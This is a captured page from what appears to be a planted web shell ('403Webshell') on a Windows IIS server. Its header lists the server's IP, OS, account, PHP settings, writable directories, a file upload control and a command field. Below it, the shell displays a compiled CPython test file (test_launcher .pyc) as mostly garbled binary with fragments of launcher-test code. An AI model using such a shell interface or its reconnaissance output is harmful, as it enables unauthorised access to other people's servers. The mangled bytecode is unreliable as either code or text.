403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_launcher.cpython-313.opt-1.pyc
�

��i�~�
�`�SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSK	r	SSK
Jr SSKJ
r
 \RS:wa\	R"S5eSSKrSrSr\R&R)5R+SR)55(aS	rS
rSSS
\R,SS.S.S\R,SS.S.S\R,SSS.S.SS\R,0S.S.SS\R,\R&S.S.S.S.r\"SSSS 9rS!R5S"/\R75VVs/sHupUS#SR95S$U3PM snnQ5rS!R5S%S&/5rS'rS(r S)r!S*r"S+r#"S,S-5r$"S.S/5r%"S0S1\	RL\%5r'gs snnf)2�N)�Path)�support�win32ztest only applies to Windows�py.exeFz_d.exezpy_d.exeTzPython Test Suitezhttps://www.python.org/zX.Y version�X.Y.exe)N�ExecutablePath)�DisplayName�InstallPathzX.Y-32 version�
X.Y-32.exezX.Y-arm64 versionz
X.Y-arm64.exez-X fake_arg_for_test)Nr�ExecutableArgumentsz!Ignored because no ExecutablePath)r	�
SupportUrl�3.100�3.100-32�3.100-arm64�ignoredzPython Test Suite SinglezSingle Interpreter)r	r)�PythonTestSuite�PythonTestSuite1�PythonTestSuite/3.100zPythonTestSuite/3.100-32zPythonTestSuite/3.100-arm64)�	PY_PYTHON�
PY_PYTHON2�
PY_PYTHON3�
�
[defaults]��=z
[commands]ztest-command=TEST_EXE.exec�4�[U5nSU;aSUS3$U$)N� �")�str)�ss �'C:\Python313\\Lib\test\test_launcher.py�quoter"^s$���A��A��a�x�Q�q�c��8�&�Q�&�c�V^�U4SjmUR5Hup#T"XU5 M g)Nc�>�[U[5(aB[R"X5nUR	5HupET"X4U5 M SSS5 g[U[
5(a([R"XS[RU5 g[SRU55e!,(df   g=f)Nz&don't know how to create data for '{}')
�
isinstance�dict�winreg�CreateKeyEx�itemsr�
SetValueEx�REG_SZ�	TypeError�format)�root�key�value�hkey�k�v�_create_registry_datas      �r!r5�3create_registry_data.<locals>._create_registry_datads�����e�T�"�"��#�#�D�.�$�!�K�K�M�D�A�)�$�1�5�*�/�.���s�
#�
#����d��v�}�}�e�D��D�K�K�E�R�S�S�/�.�s�#B0�0
B>)r*)r/�datar3r4r5s    @r!�create_registry_datar8cs'���
T��
�
�����d�q�)�r#c#��# �[R"5Hn[R"X5v� M g![anUR
S:XaSnA geSnAff=f7f)Ni)�	itertools�countr(�EnumKey�OSError�winerror)r/�i�exs   r!�	enum_keysrAtsM���
�_�_�
��	��.�.��)�)����	��{�{�c�!����	�s1�A"�9�A"�
A�A�A"�A�A�A"c��[R[R-n[U5HLn[R"XUS9n[U[
U55 SSS5 [R"X5 MN g!,(df   N)=f)N��access)r(�	KEY_WRITE�KEY_ENUMERATE_SUB_KEYS�list�OpenKey�delete_registry_datarA�	DeleteKey)r/�keys�ACCESSr0r2s     r!rIrI~s^��
�
�
�� =� =�
=�F��D�z��
�^�^�D�f�
5�� ��y���7�6�����#��
5�
5�s�A>�>
B	c	�\�SUS3n[RS4[R[R4[R[R44H@up#[R
"[R"X![RU-S95  g g![a MRf=f)NzSoftware\Python\PythonCore\z\InstallPathrrCTF)	r(�HKEY_CURRENT_USER�HKEY_LOCAL_MACHINE�KEY_WOW64_64KEY�KEY_WOW64_32KEY�CloseKeyrH�KEY_READr=)�tagr0r/�flags    r!�is_installedrV�s���
(���\�
:�C�	�	!�	!�1�%�	�	"�	"�F�$:�$:�;�	�	"�	"�F�$:�$:�;��
��
	��O�O�F�N�N�4�V�_�_�t�=S�T�U������	��	�s�:B�
B+�*B+c�&�\rSrSrSrSrSrSrg)�
PreservePyIni�c�>�[U5UlX lSUlg�N)r�path�content�
_preserved)�selfr\r]s   r!�__init__�PreservePyIni.__init__�s����J��	�����r#c��URR5UlURR	UR
SS9 g![a
 SUlN8f=f)Nzutf-16��encoding)r\�
read_bytesr^�FileNotFoundError�
write_textr]�r_s r!�	__enter__�PreservePyIni.__enter__�sP��	#�"�i�i�2�2�4�D�O�	
�	�	���T�\�\�H��=��!�	#�"�D�O�	#�s�A�A�Ac��URcURR5 gURRUR5 gr[)r^r\�unlink�write_bytes)r_�exc_infos  r!�__exit__�PreservePyIni.__exit__�s2���?�?�"��I�I�����I�I�!�!�$�/�/�2r#)r^r]r\N)�__name__�
__module__�__qualname__�__firstlineno__r`riro�__static_attributes__�r#r!rXrX�s���
>�3r#rXc��\rSrSrSr\S5rSrS
SjrSr	\
RSSj5r\
RS5r
S	rg)�
RunPyMixin�Nc	���Sn[R"5(a+[[R5R
[-nO`[R"S5RS5H5nU(dM[U5[-nUR5(dM5 O SnU(a�[R"US/[R[R[RSSS9nURR5 [!UR"S5R%5SR'S	5S
nUR"R)5 UR+S5 SSS5 [R,R/W5(dSnU(d)[2R4"SR7[55eU$!,(df   Nf=f![0a SnNQf=f)
N�PATH�;�-h�ascii�ignore)�stdin�stdout�stderrrd�errorsrrr��
zcannot locate '{}' for test)�	sysconfig�is_python_buildr�sys�
executable�parent�PY_EXE�os�getenv�split�is_file�
subprocess�Popen�PIPEr��close�nextr��
splitlines�
rpartition�read�wait�version�
startswithr=�unittest�SkipTestr.)�cls�py_exe�pr�s    r!�find_py�RunPyMixin.find_py�sx�����$�$�&�&��#�.�.�)�0�0�6�9�F��Y�Y�v�&�,�,�S�1���1�!�!�W�v�-�F��~�~�'�'��	2����
��%�%��T�N�$�/�/�%�?�?�%�?�?�$�#�
���G�G�M�M�O�"�1�8�8�T�2�=�=�?��B�M�M�c�R�ST�U�G��H�H�M�M�O��F�F�2�J���{�{�-�-�g�6�6�!�F���#�#�-�4�4�V�<��
��
�+����
���
�s,�0AG%�5A?G�4.G%�
G"�G%�%G4�3G4c�f�UR(dUR5UlUR$r[)r�r�rhs r!�
get_py_exe�RunPyMixin.get_py_exe�s ���{�{��,�,�.�D�K��{�{�r#c	���UR(dUR5Ul1Skn0[RR	5VVs0sH,upxUR5U;dMUR5U_M. snnESSSS.EU=(d 0R	5VVs0sHupxUR5U_M snnEn[
USS5=n	(aURSU	5 U(dUR/UQn[R"UUUR[R[R[RS9n
U
RR5 U
RS5 U
RR5R!S	S
5nU
R"R5R!SS
5R%SS
5nSSS5 W
R&U:wak[(R*(aVU(dO[-S5 [-UR/UQ5 [-S5 [-W5 [-S5 [-W5 U(a@U
R&U:wa0[R."U
R&UR/UQWW5eUR1XJR&5 WR35V
s0sHXn
U
R5S5(aMSU
;dM#U
R7S5SU
R7S5SR95_MZ nn
WUS'X�S'U$s snnfs snnf!,(df   GNv=fs sn
f)N>rrr�VIRTUAL_ENV�1�)�PYLAUNCHER_DEBUG�PYLAUNCHER_DRYRUN�PYLAUNCHER_LIMIT_TO_COMPANY�_ini_dir�_PYLAUNCHER_INIDIR)�envr�r�r�r�r��utf-8�replacer~u��?z
++ COMMAND ++z++ STDOUT ++z++ STDERR ++�#�:rr�r�r�)r�r�r��environr*�upper�getattr�
setdefaultr�r�r�r�r�r�r�r��decoder�r��
returncoder�verbose�print�CalledProcessError�assertEqualr�r��	partition�lstrip)r_�argsr��
allow_fail�expect_returncode�argvrr3r4�ini_dirr��out�errr r7s               r!�run_py�RunPyMixin.run_py�s����{�{��,�,�.�D�K�I��
�(*�
�
�(8�(8�(:�V�(:���a�g�g�i�v�>U�|�q�w�w�y�!�|�(:�V�
� #�!$�+-�	
�
*-���(9�(9�(;�<�(;���q�w�w�y�!�|�(;�<�
���d�J��5�5�7�5��N�N�/��9���K�K�'�$�'�D�
�
�
����{�{��/�/��?�?��?�?�

��
�G�G�M�M�O�
�F�F�2�J��(�(�-�-�/�(�(��)�<�C��(�(�-�-�/�(�(��)�<�D�D�X�s�S�C�
�
�<�<�,�,������/�"��4�;�;�&��&�'��.�!��#�J��.�!��#�J��!�,�,�*;�;��/�/����t�{�{�>R�T�>R�TW�Y\�]�]����.���=��^�^�%�
�%���<�<��$�
>�),���
>�A�K�K���Q�����S�!1�!�!4�!;�!;�!=�=�%�	
�
�
��X���X�����QW��=�
�
��.
s1�
M�+M�&M
�BM�M"�6M"�>9M"�
Mc���[USS5nU(d>[RRS5nU(d[R
"S5eUn[
[U5S-U5$)Nr��LOCALAPPDATAz5LOCALAPPDATA environment variable is missing or emptyzpy.ini)r�r�r��getr�r�rXr)r_r]r��
local_appdatas    r!�py_ini�RunPyMixin.py_ini
s[���$�
�D�1����J�J�N�N�>�:�M� ��'�'�);�<�<�#�G��T�'�]�X�5�w�?�?r#c#�2# �[[R"[R"5S9S-5n[U[5(aURU5 OURXS9 Uv� UR5 g!UR5 f=f7f)N)�dirz.pyrc)
r�tempfile�mktempr��getcwdr&�bytesrmrgrl)r_r]rd�files    r!�script�RunPyMixin.scriptsh����H�O�O��	�	��4�u�<�=���g�u�%�%����W�%��O�O�G�O�7�	��J��K�K�M��D�K�K�M�s�A*B�-B�1B�B�Bc#�:# �[R"5S-nURSSS9 U[(aSOS-nUR	5 US[UR504v� [R"U5 g![R"U5 f=f7f)N�ScriptsT)�exist_ok�parentszpython_d.exez
python.exer�)	r�cwd�mkdir�DEBUG_BUILD�touchrr��shutil�rmtree)r_�venv�venv_exes   r!�	fake_venv�RunPyMixin.fake_venv su����x�x�z�I�%���
�
�D�$�
�/��k�k�N�|�L������	 ��]�C����,<�=�=�=��M�M�$���F�M�M�$��s�AB�B�)B�B�B)r�)NFrN)r�)rqrrrsrtr��classmethodr�r�r�r��
contextlib�contextmanagerr�r�rurvr#r!rxrx�s_��
�F��&��&�P�
.�`@����	��	���� �� r#rxc�H�\rSrSr\S5r\S5rSrSrSr	Sr
SrS	rS
r
SrSrS
rSrSrSrSrSrSrSrSrSrSrSrSrSrSrSrSr Sr!Sr"S r#S!r$S"r%S#r&S$r'S%r(S&r)S'r*S(r+S)r,S*r-S+r.S,r/S-r0S.r1S/r2S0r3S1r4S2r5g3)4�TestLauncheri,c�~�[R"[RS5n[U[5 SSS5 [
R(a[R"S5n[R"5UlUR[RURSS9 g!,(df   N}=f)N�Software\Pythonz!reg query HKCU\Software\Python /sT)�
ignore_errors)r(�	CreateKeyrNr8�	TEST_DATArr�r��check_outputr��mkdtempr��addClassCleanupr�r�)r�r0r�s   r!�
setUpClass�TestLauncher.setUpClass-s~��
�
�
�f�6�6�?�
L�PS� ��i�0�M��?�?��'�'�(M�N�A� �'�'�)������F�M�M�3�<�<�t��L�M�
L�s�B.�.
B<c���[R"[RS[R[R-S9n[U[5 SSS5 g!,(df   g=f)Nr�rC)r(rHrNrErFrIr�)r�r0s  r!�
tearDownClass�TestLauncher.tearDownClass9s^��
�^�^�F�4�4��RX�Rb�Rb�ek�fC�fC�SC�D�HK� ��i�0�D�D�D�s�A�
A,c���URS/5nURUR[US55 UR[R
R
S5SUS5 g)N�-0�argv0rrr�)r�r�r�rr�r�r��r_r7s  r!�test_version�TestLauncher.test_version?sW���{�{�D�6�"��������d�4��=�&9�:�������.�.�s�3�A�6��Y��Hr#c�R�URS/5nURSUS5 g)Nr}�TruezSearchInfo.help�r�r�r�s  r!�test_help_option�TestLauncher.test_help_optionDs(���{�{�D�6�"�������&7�!8�9r#c���SHZupnURU5 URU/5nURX$S5 URX4S5 SSS5 M\ g!,(df   Mn=f)N))r�r��False)�-0prr�)�--listr�r)�--list-pathsrr�zSearchInfo.listzSearchInfo.listPaths)�subTestr�r�)r_�opt�v1�v2r7s     r!�test_list_option�TestLauncher.test_list_optionHsi��
�K�C�R����c�"��{�{�C�5�)��� � ��*;�%<�=�� � ��*@�%A�B�#�"�

�#�"�s�;A"�"
A1	c���URS/5n0n0nUSR5HEn[R"SU5nU(dM#UR	S5X%R	S5'MG [
Hgn[
UnUVs/sHn[
Xx[5(dMUPM  n	nU	Hn
SUSU
3nXzSX;'M URSUS	3S5 Mi UR5VV
s0sHup�X�;dMX�_M nnn
URX>5 gs snfs sn
nf! [R(a[S
5 [US5 e=f)Nrr��\s*(.+?)\s+?(\*\s+)?(.+)$r��-V:�/r	�/ignored�*** STDOUT ***)r�r��re�match�groupr�r&r'�popr*�assertDictEqualrr�r�)r_r7�found�expect�line�m�company�company_data�t�tagsrT�argr3r4�actuals               r!�	test_list�TestLauncher.test_listTsE���{�{�H�:�&��������N�-�-�/�D����5�t�<�A��q�$%�G�G�A�J��g�g�a�j�!�0�!�G�$�W�-�L�+�Q�|�!�z�,�/�4�/P�A�|�D�Q����G�9�A�c�U�+��*�/�
�>����
�J�J��W�I�X�.��5�
!�$)�;�;�=�@�=�4�1�A�K�$�!�$�=��@�	�� � ��0��R��A��	�����&�'��d�8�n�%��s$�	D"�(D"�7D'�D'�D-�-1Ec	��URS/5n0n0nUSR5HEn[R"SU5nU(dM#UR	S5X%R	S5'MG [
H�n[
UnUVs/sHn[
Xx[5(dMUPM  n	nU	H-n
SUSU
3nXzSnUS	X;'X;==S
US--
ss'M/ URSUS3S5 M� UR5V
Vs0sHup�X�;dMX�_M nn
nUR!X?5 gs snf![a M�f=f![aA [[US5[[R5R-5X;'M�f=fs snn
f! ["R$(a['S
5 ['US5 e=f)Nrr�rrrrrr
rrrrr)r�r�rrrr�r&r'�KeyErrorrrr�r��namerr*rrr�r�)r_r7rrrrrrr r!rTr"�installr3r4r#s                r!�test_list_paths�TestLauncher.test_list_pathsms����{�{�N�+�,��������N�-�-�/�D����5�t�<�A��q�$%�G�G�A�J��g�g�a�j�!�0�!�G�$�W�-�L�+�Q�|�!�z�,�/�4�/P�A�|�D�Q����G�9�A�c�U�+��&�+�M�:��W�")�*:�";�F�K����s�W�5J�-K�'K�K��
�
�J�J��W�I�X�.��5�!�"$)�;�;�=�@�=�4�1�A�K�$�!�$�=��@�	�� � ��0��#R��$������W�"%�d�7�4�=�&9�D����<P�<U�<U�&U�"V�F�K�W��
A��	�����&�'��d�8�n�%��sU�	D;�(D;�E�
E�F�F�)F%�
E�
E�
E�E�AF�F�%1Gc��SnURSUS3/5nURSUS5 URXS5 URSUS5 g)	Nrrrr�
LaunchCommand�env.companyr�env.tagr�r_rr7s   r!�test_filter_to_company�#TestLauncher.test_filter_to_company�s]��#���{�{�c�'��!�,�-�.������D��$9�:�����}�"5�6�����$�y�/�2r#c��SnURSUS3/[SS9S9nURSUS5 URXS	5 URS
US5 g)Nrrrz3.0)r�r�rr-r.rr/)r�r'r�r0s   r!�#test_filter_to_company_with_default�0TestLauncher.test_filter_to_company_with_default�sf��#���{�{�c�'��!�,�-�4�%�3H�{�I������D��$9�:�����}�"5�6�����$�y�/�2r#c���SnURS/5nURSUS5 URXS5 URSUS5 URS/5nURS	US5 URXS5 URS
US5 URS/5nURSUS5 URXS5 URS
US5 g)Nrz-V:3.100rr-r.rr/z-V:3.100-32rrz-V:3.100-arm64z"X.Y-arm64.exe -X fake_arg_for_testrrr0s   r!�test_filter_to_tag�TestLauncher.test_filter_to_tag�s���#���{�{�J�<�(������D��$9�:�����}�"5�6�����$�y�/�2��{�{�M�?�+������t�O�'<�=�����}�"5�6�����T�)�_�5��{�{�,�-�.�����=�t�O�?T�U�����}�"5�6������Y��8r#c���SnURSUS3/SS9nURSUS3/5nURSUS5 URXS	5 URS
US5 g)Nrrz/3.1�g�r�z/3.100rr-r.rr/rr0s   r!�test_filter_to_company_and_tag�+TestLauncher.test_filter_to_company_and_tag�s{��#���{�{�c�'��$�/�0�C�{�H���{�{�c�'��&�1�2�3������D��$9�:�����}�"5�6�����$�y�/�2r#c�0�SnURS/SU0SS9ng)Nrz-V:Nonexistentr�r;�r�r�)r�r0s   r!�test_filter_with_single_install�,TestLauncher.test_filter_with_single_install�s+��$���{�{�
��.��8�!��
�r#c��URS/SS9nURSUS5 UR
USRS5US5 g![Ra [R"S5ef=f)	N�-3T�r�z(requires at least one Python 3.x install�
PythonCorer.r/�3.)r�r�r�r�r�r��
assertTruer�r�s  r!�test_search_major_3� TestLauncher.test_search_major_3�s��	P��;�;��v�$�;�7�D�	
����t�M�':�;�����Y��2�2�4�8�$�y�/�J���,�,�	P��#�#�$N�O�O�	P�s�A�+A;c��URS/SS9nURSUS	5 URUS
RS5US
5 URUS
RS5US
5 g![Ra9 [S[	SS555(d[
R"S5eef=f)
Nz-3-32TrEc3�@# �UHn[SUS35v� M g7f)rG�-32N)rV)�.0r?s  r!�	<genexpr>�6TestLauncher.test_search_major_3_32.<locals>.<genexpr>�s ���G�,�Q�|�b���3�K�0�0�,�s���z/requires at least one 32-bit Python 3.x installrFr.r/rGrM)r�r�r��any�ranger�r�r�rHr��endswithr�s  r!�test_search_major_3_32�#TestLauncher.test_search_major_3_32�s���	��;�;��y�T�;�:�D�
	
����t�M�':�;�����Y��2�2�4�8�$�y�/�J�����Y��0�0��7��i��I��
�,�,�	��G�%��2�,�G�G�G��'�'�(Y�Z�Z��	�s�A7�7A
Cc� �URS/SS9nUR
SWS5 URUSRS	5US5 g![Ra) [S5(d[R
"S5eNyf=f)
N�-2TrEz2.7z(requires at least one Python 2.x installrFr.r/z2.)	r�r�r�rVr�r�r�rHr�r�s  r!�test_search_major_2� TestLauncher.test_search_major_2�s���	T��;�;��v�$�;�7�D�	
����t�M�':�;�����Y��2�2�4�8�$�y�/�J��	�,�,�	T���&�&��'�'�(R�S�S�'�	T�s�A�:B
�B
c� �UR[5 URS/5nSSS5 URSWS5 URSUS5 URSUSR	55 g!,(df   N\=f)N�-argr�SearchInfo.companyr�SearchInfo.tag�X.Y.exe -argr��r��TEST_PY_DEFAULTSr�r��stripr�s  r!�test_py_default�TestLauncher.test_py_default�sw��
�[�[�)�
*��;�;��x�(�D�+����*�D�1E�,F�G�����$�'7�"8�9������h��)=�)=�)?�@�	+�
*�s�A?�?
B
c�"�UR[5 URSS/5nSSS5 URSWS5 URSUS5 URSUSR	55 g!,(df   N\=f)	NrYr]rr^rr_�X.Y-32.exe -argr�rar�s  r!�test_py2_default�TestLauncher.test_py2_default�sz��
�[�[�)�
*��;�;��f�~�.�D�+����*�D�1E�,F�G�����T�*:�%;�<����*�D��N�,@�,@�,B�C�	+�
*���B�
Bc�"�UR[5 URSS/5nSSS5 URSWS5 URSUS5 URSUSR	55 g!,(df   N\=f)	NrDr]rr^rr_�'X.Y-arm64.exe -X fake_arg_for_test -argr�rar�s  r!�test_py3_default�TestLauncher.test_py3_default�sz��
�[�[�)�
*��;�;��f�~�.�D�+����*�D�1E�,F�G������-=�(>�?����B�D��N�DX�DX�DZ�[�	+�
*�rjc���URS/[S9nURSUS5 URSUS5 URSUSR55 g)	Nr]r4rr^rr_r`r��r��TEST_PY_ENVr�rcr�s  r!�test_py_default_env� TestLauncher.test_py_default_env�s`���{�{�F�8��{�5�����*�D�1E�,F�G�����$�'7�"8�9������h��)=�)=�)?�@r#c���URSS/[S9nURSUS5 URSUS5 URSUS	R55 g)
NrYr]r4rr^rr_rgr�rpr�s  r!�test_py2_default_env�!TestLauncher.test_py2_default_env�sc���{�{�D�&�>�{�{�;�����*�D�1E�,F�G�����T�*:�%;�<����*�D��N�,@�,@�,B�Cr#c���URSS/[S9nURSUS5 URSUS5 URSUS	R55 g)
NrDr]r4rr^rr_rlr�rpr�s  r!�test_py3_default_env�!TestLauncher.test_py3_default_env�sc���{�{�D�&�>�{�{�;�����*�D�1E�,F�G������-=�(>�?����B�D��N�DX�DX�DZ�[r#c��UR[5 SH~nURU5 URS/US3S9nUR	SUS5 UR	SUS5 UR	S	US
R55 SSS5 M� SSS5 g!,(df   M�=f!,(df   g=f)N)z"py.exe"rz"py"�py�	--versionz
 --version�r�rr^rr_zX.Y.exe --versionr�)r�rbrr�r�rc)r_r�r7s   r!�test_py_default_short_argv0�(TestLauncher.test_py_default_short_argv0s���
�[�[�)�
*�=���\�\�%�(��;�;��}�e�W�J�;O�;�P�D��$�$�%6��=Q�8R�S��$�$�W�d�3C�.D�E��$�$�%8�$�x�.�:N�:N�:P�Q�	)�(�>�+�
*�(�(��+�
*�s#�B6�A"B$�B6�$
B3�.B6�6
Cc���URS/[S9nSnUSR5H4n[R"SU5nU(dM#URS5n O UR
SU5 g)Nr�r4r�z\s*-V:(.+?)\s+?\*\s+(.+)$rr)r�rqr�rrrr�)r_r7�defaultrrs     r!�test_py_default_in_list�$TestLauncher.test_py_default_in_listsk���{�{�D�6�{�{�3������N�-�-�/�D����5�t�<�A��q��'�'�!�*���	0�
	
���0�'�:r#c���UR5upURS/US9nUSR5HMn[R"SU5nU(dM#UR[
U5URS55  OD [R(a[US5 [US5 URS5 URS/US9nUSR5HDn[R"SU5nU(dM#URS	URS55  O URS
5 SSS5 g!,(df   g=f)Nrr4r�z
\s*\*\s+(.+)$rr�zdid not find active venv pathr�zActive venvzdid not find active venv entry)r�r�r�rrr�rrrr�r��fail)r_r�r�r7rrs      r!�test_virtualenv_in_list�$TestLauncher.test_virtualenv_in_lists��
�^�^�
��(��;�;��w�C�;�0�D��X��1�1�3���H�H�-�t�4���1��$�$�S��]�A�G�G�A�J�?��	4��?�?��$�x�.�)��$�x�.�)��	�	�9�:��;�;��v�3�;�/�D��X��1�1�3���H�H�-�t�4���1��$�$�]�A�G�G�A�J�?��	4��	�	�:�;�)�
�
�s�AE�B3E�6E�
Ec��UR5upUR/0UESS0ES9nURS/0UESS0ES9nSSS5 URWSR5[	W55 URUSS5 URWSR5[	U55 URUSS5 g!,(df   N�=f)NrzPythonTestSuite/3r4z-V:PythonTestSuite/3r�zSearchInfo.lowPriorityTagr�)r�r�r�rcr"�assertNotEqual)r_r�r��data1�data2s     r!�test_virtualenv_with_env�%TestLauncher.test_virtualenv_with_env,s���
�^�^�
��(��K�K��(Q�3�(Q��=P�(Q�K�R�E��K�K�!7� 8�>g��>g�k�Sf�>g�K�h�E��	
����x��.�.�0�%��/�B�����:�;�V�D����E�(�O�1�1�3�U�8�_�E����E�"=�>��G��
�s�0C�
Cc��UR[5 URS5nURUS/5nSSS5 SSS5 UR	SWS5 UR	SUS5 UR	S[W5S3US	R
55 g!,(df   Nq=f!,(df   Nz=f)
N�#! /usr/bin/python -prearg�-postargrr^rr_�X.Y.exe -prearg �	 -postargr��r�rbr�r�r�r"rc�r_r�r7s   r!�test_py_shebang�TestLauncher.test_py_shebang7s���
�[�[�)�
*����9�:�f��{�{�F�J�#7�8��;�+�	
���*�D�1E�,F�G�����$�'7�"8�9����+�E�&�M�?�)�D�d�8�n�FZ�FZ�F\�]�	;�:��+�
*��!�B8�B'�B8�'
B5	�1B8�8
Cc��UR[5 URS5nURUS/5nSSS5 SSS5 UR	SWS5 UR	SUS5 UR	S[W5S3US	R
55 g!,(df   Nq=f!,(df   Nz=f)
Nz#! python -preargr�rr^rr_r�r�r�r�r�s   r!�test_python_shebang� TestLauncher.test_python_shebang?s���
�[�[�)�
*����0�1�V��{�{�F�J�#7�8��2�+�	
���*�D�1E�,F�G�����$�'7�"8�9����+�E�&�M�?�)�D�d�8�n�FZ�FZ�F\�]�	2�1��+�
*�r�c��UR[5 URS5nURUS/5nSSS5 SSS5 UR	SWS5 UR	SUS5 UR	S[W5S3US	R
55 g!,(df   Nq=f!,(df   Nz=f)
Nz#! /usr/bin/python2 -preargr�rr^rr_�X.Y-32.exe -prearg r�r�r�r�s   r!�test_py2_shebang�TestLauncher.test_py2_shebangGs���
�[�[�)�
*����:�;�v��{�{�F�J�#7�8��<�+�	
���*�D�1E�,F�G�����T�*:�%;�<����.�u�V�}�o�Y�G��h��-�-�/�	1�	<�;��+�
*�r�c��UR[5 URS5nURUS/5nSSS5 SSS5 UR	SWS5 UR	SUS5 UR	S[W5S3US	R
55 g!,(df   Nq=f!,(df   Nz=f)
N�#! /usr/bin/python3 -preargr�rr^rr_�+X.Y-arm64.exe -X fake_arg_for_test -prearg r�r�r�r�s   r!�test_py3_shebang�TestLauncher.test_py3_shebangPs���
�[�[�)�
*����:�;�v��{�{�F�J�#7�8��<�+�	
���*�D�1E�,F�G������-=�(>�?����F�u�V�}�o�U^�_��h��-�-�/�	1�	<�;��+�
*�r�c��UR[5 URS5nURUS/5nSSS5 SSS5 UR	SWS5 UR	SUS5 UR	S[W5S3US	R
55 g!,(df   Nq=f!,(df   Nz=f)
Nz#! /usr/bin/python -prearg
r�rr^rr_r�r�r�r�r�s   r!�test_py_shebang_nl�TestLauncher.test_py_shebang_nlYs���
�[�[�)�
*����;�<���{�{�F�J�#7�8��=�+�	
���*�D�1E�,F�G�����$�'7�"8�9����+�E�&�M�?�)�D��h��-�-�/�	1�	=�<��+�
*�r�c��UR[5 URS5nURUS/5nSSS5 SSS5 UR	SWS5 UR	SUS5 UR	S[W5S3US	R
55 g!,(df   Nq=f!,(df   Nz=f)
Nz#! /usr/bin/python2 -prearg
r�rr^rr_r�r�r�r�r�s   r!�test_py2_shebang_nl� TestLauncher.test_py2_shebang_nlbs���
�[�[�)�
*����<�=���{�{�F�J�#7�8��>�+�	
���*�D�1E�,F�G�����T�*:�%;�<����.�u�V�}�o�Y�G��h��-�-�/�	1�	>�=��+�
*�r�c��UR[5 URS5nURUS/5nSSS5 SSS5 UR	SWS5 UR	SUS5 UR	S[W5S3US	R
55 g!,(df   Nq=f!,(df   Nz=f)
Nz#! /usr/bin/python3 -prearg
r�rr^rr_r�r�r�r�r�s   r!�test_py3_shebang_nl� TestLauncher.test_py3_shebang_nlks���
�[�[�)�
*����<�=���{�{�F�J�#7�8��>�+�	
���*�D�1E�,F�G������-=�(>�?����F�u�V�}�o�U^�_��h��-�-�/�	1�	>�=��+�
*�r�c��UR[5 URS5nURUS/SUS3S9nSSS5 SSS5 UR	SWS5 UR	SUS	5 UR	S
WS3USR55 g!,(df   Nh=f!,(df   Nq=f)Nr�r�z
"py.exe" "z
" -postargr}rr^rr_zX.Y.exe -prearg "r�)r�rbr�r�r�rcr�s   r!�test_py_shebang_short_argv0�(TestLauncher.test_py_shebang_short_argv0ts���
�[�[�)�
*����9�:�f��{�{�F�J�#7�
�6�(�R\�>]�{�^��;�+�	
���*�D�1E�,F�G�����$�'7�"8�9����,�V�H�J�?��h��AU�AU�AW�X�;�:��+�
*�s!�B2�B!�B2�!
B/	�+B2�2
Cc��UR[5 SRS5nURSU-5nUR	US/5nSSS5 SSS5 URSWS5 URSUS5 URS	[
W5S
3USR55 g!,(df   Nq=f!,(df   Nz=f)Nr�r�sr�rr^rr_r�r�r�)r�rb�encoder�r�r�r"rc�r_r]r�r7s    r!�test_py_shebang_valid_bom�&TestLauncher.test_py_shebang_valid_bom}s���
�[�[�)�
*�2�9�9�'�B�G����_�w�6�7�6��{�{�F�J�#7�8��8�+�	
���*�D�1E�,F�G�����$�'7�"8�9����+�E�&�M�?�)�D�d�8�n�FZ�FZ�F\�]�	8�7��+�
*�s"�&C�B;�C�;
C		�C�
Cc���UR[5 SRS5nURSU-5nUR	US/5nSSS5 SSS5 URSWS5 UR
SUS5 UR
S	US
5 UR
S[W5S3US
R55 g!,(df   N�=f!,(df   N�=f)Nr�r�s謹r�zInvalid BOMr�rr^rr_�X.Y.exe r�r�)	r�rbr�r�r��assertInr�r"rcr�s    r!�test_py_shebang_invalid_bom�(TestLauncher.test_py_shebang_invalid_bom�s���
�[�[�)�
*�3�:�:�7�C�G����_�w�6�7�6��{�{�F�J�#7�8��8�+�	
�
�
�m�T�(�^�4����*�D�1E�,F�G�����$�'7�"8�9����8�E�&�M�?�)�<�d�8�n�>R�>R�>T�U�8�7��+�
*�s"�&C!�C�C!�
C	�C!�!
C/c���URSRSS/55 UR/SSS9nSSS5 URSWS5 URS	US
5 g!,(df   N9=f)Nrrzpython=3.999-64Tr;)r�r�z3.999-64r_r�zSearchInfo.oldStyleTag)r��joinr�r�r�s  r!�test_py_handle_64_in_ini�%TestLauncher.test_py_handle_64_in_ini�so��
�[�[����L�2C�#D�E�
F��;�;�r�d�c�;�J�D�G�	
����T�*:�%;�<������&>�!?�@�	G�
F�s�A(�(
A6c�@�[S5R5nUR5 URUR5 UR[5 URSURS35nURUS/SURS[R"S530S9nSSS5 SSS5 UR[U5S[W5S	3WS
R55 g!,(df   NR=f!,(df   N[=f�Nzarbitrary-exe-name.exe�#! /usr/bin/env z -preargr�r{r|r4z	 -prearg r�r�)r�absoluter��
addCleanuprlr�rbr��stemr�r�r�r�r�r"rc�r_�exer�r7s    r!�test_search_path�TestLauncher.test_search_path�s����+�,�5�5�7���	�	������
�
�#�
�[�[�)�
*����/����z��B�C�v��{�{��Z�(��C�J�J�<�q����6�1B�0C�!D�E�#���D�+�	
���E�#�J�<�y��v���y�I��h��-�-�/�	1�D�C��+�
*��$� D�:8C>�2D�>
D	�D�
Dc�@�[S5R5nUR5 URUR5 UR[5 URSURS35nURUS/SURS[R"S530S9nSSS5 SSS5 UR[U5S[W5S	3WS
R55 g!,(df   NR=f!,(df   N[=fr�)rr�r�r�rlr�rbr�r(r�r�r�r�r�r"rcr�s    r!�test_search_path_exe�!TestLauncher.test_search_path_exe�s����+�,�5�5�7���	�	������
�
�#�
�[�[�)�
*����/����z��B�C�v��{�{��Z�(��C�J�J�<�q����6�1B�0C�!D�E�#���D�+�	
���E�#�J�<�y��v���y�I��h��-�-�/�	1�D�C��+�
